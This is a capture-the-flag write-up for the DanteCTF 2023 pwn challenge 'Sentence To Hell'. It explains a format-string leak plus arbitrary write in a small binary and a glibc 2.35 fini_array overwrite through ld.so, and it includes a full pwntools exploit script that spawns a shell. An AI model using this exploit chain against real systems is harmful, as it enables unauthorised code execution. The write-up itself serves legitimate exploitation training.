Tags: pwn 

Rating:

## Sentence To Hell

was a pwn challenge from **DanteCTF 2023**.

I did not have time to participate to **DanteCTF** as I was doing justCTF instead...

anyway I did this one quickly, which is a classic type of challenge where you can write a value to a chosen address to try to get code execution.

### 1 - The program

the program is small , so the reverse is quick ?, here is the `main` (and only) function:

```c
int main(int argc, const char **argv, const char **envp)
{
__int64 *target_addr; // [rsp+8h] [rbp-18h] BYREF
__int64 value; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-8h]

canary = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("Please, tell me your name: ");
fgets(your_name, 12, stdin);
your_name[strcspn(your_name, "\n")] = 0;
printf("Hi, ");
printf(your_name); // format string vuln, used to
puts(" give me a soul you want to send to hell: ");
__isoc99_scanf("%lu", &value);
getchar();
puts("and in which circle you want to put him/her: ");
__isoc99_scanf("%lu", &target_addr);
getchar();
*target_addr = value; // write choosen value to target address
puts("Done, bye!");
return 0;
}
```

let's `checksec` the binary to see protection in place:

![checksec](./pics/checksec.png)

Ok.. so, the author of the challenge gave us a format string vulnerability, the line `printf(your_name)` which will be useful to leak various addresses, like stack, libc, program base, etc...

then we can choose an address and a value to write. and the program return.

pretty classic.

**Useful to note:** Here the library used is `libc 2.35 (Ubuntu GLIBC 2.35-0ubuntu3.1)` which is the libc used by `Ubuntu 22.04` distribution.

### 2 - Achieving code execution.

Well there are various way to achieve code execution, I found at least 3 different one, but maybe there are many more:

1. Leaking stack address with the format string vuln, and overwriting main return address on stack.
2. Leaking libc address with the format string vuln, and overwriting `strlen` libc GOT entry that will be called by `puts()`
3. leaking ld.so address with the format string vuln, and creating a fake `fini_array` table entry, that will be executed by `_dl_fini` called by `run_exit_handlers()` at program exits..

that's not so bad, for my exploit I will use a mix of option 1 and 3.

I have tried a one gadget single shot via option 1 or 2, but none of the one gadgets works..so I decide to go another way.

First I will overwrite main return address on stack, to return to main. I will do this two times, because the limited 11 chars input in `your_name` will not allow me to leak all the values I want with the format string in one turn.

* First round, I will leak stack and libc address.

* Second round, I will leak exe base and `rtld_global` address.

* Third round , I will create a fake `fini_array` table in `your_name`variable, and will overwrite an entry in ld.so to points on it. That fake `fini_array`table will point to a one gadget that works at this point, and we will get code execution.

to achieve code execution in the third round, let's have a look at `_dl_fini` function in libc 2.35 file: `elf/dl-fini.c` (line 123)

```c
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n", DSO_FILENAME (l->l_name), ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
```

we overwrite `l->l_info[DT_FINI_ARRAY]` pointer (which is 0x13b0 bytes after `_rtld_global` in `ld.so`) with the address

of our `your_name`variable in .bss, in this variable we will forge a `fini_array` entry.

you can see that the array pointer is calculated by adding `l->l_addr`to `l->l_info[DT_FINI_ARRAY]->d_un.d_ptr` which is the second pointer of the `fini_array` entry.

```c
ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
```

then this entry is called by:

```c
((fini_t) array[i]) ();
```

the `d_un` structure is declared like this:

```c
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```

So in our `your_name` variable, we put our onegadget and 0x4050, which is the offset to the ̀your_name` variable..

you can check this mechanism under gdb, by putting a breakpoint like this: `b *_dl_fini+445`

### 3 - The Exploit

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = 'info'

# change -l0 to -l1 for more gadgets
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]

# shortcuts
def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val): log.info(name+" = %#x" % val)
def sa(delim,data): return p.sendafter(delim,data)
def sla(delim,line): return p.sendlineafter(delim,line)
def sl(line): return p.sendline(line)
def rcu(d1, d2=0):
p.recvuntil(d1, drop=True)
# return data between d1 and d2
if (d2):
return p.recvuntil(d2,drop=True)

exe = ELF('./sentence_patched')
libc = ELF('./libc.so.6')

host, port = "challs.dantectf.it", "31531"

if args.REMOTE:
p = remote(host,port)
else:
p = process(exe.path)

# leak stack & libc address
sla('name: \n', '%p.%11$p.')
stack = int(rcu('Hi, ', '.'),16)
logleak('stack',stack)
libc.address = int(p.recvuntil('.',drop=True),16) - 0x29d90
logbase()
onegadgets = one_gadget('libc.so.6', libc.address)
# ret2main
target = stack+0x2148 # libcmain return address on stack
sla('hell: \n', str(libc.address+0x29d4c))
sla('her: \n', str(target))

# now we leak exe base & rltd_global address
target = stack+0x2148
sla('name: \n', '%13$p.%21$p')
exe.address = int(rcu('Hi, ', '.'),16)-0x1229
logleak('exe base',exe.address)
rtld = int(p.recvuntil(' ',drop=True),16)
logleak('rtld',rtld)
# ret2main again
sla('hell: \n', str(libc.address+0x29d4c))
sla('her: \n', str(target))

# write
# makes l->l_info[DT_FINI_ARRAY] point to your_name variable on stack.. which will contains offset to a fake fini_array table (itself) which entry points to a onegadget
target = rtld+0x13b0
sla('name: \n', p64(onegadgets[8])+p16(0x4050)+b'\x00' )
sla('hell: \n', str(exe.address+0x4050))
sla('her: \n', str(target))

p.interactive()
```

you like to see fancy chars moving on screen?

![gotshell](https://github.com/nobodyisnobody/write-ups/blob/main/DanteCTF.2023/pwn/Sentence.To.Hell/pics/gotshell.gif?raw=true)

so it's finished, see you in the next world. *nobodyisnobody still learning..*

Original writeup (https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell).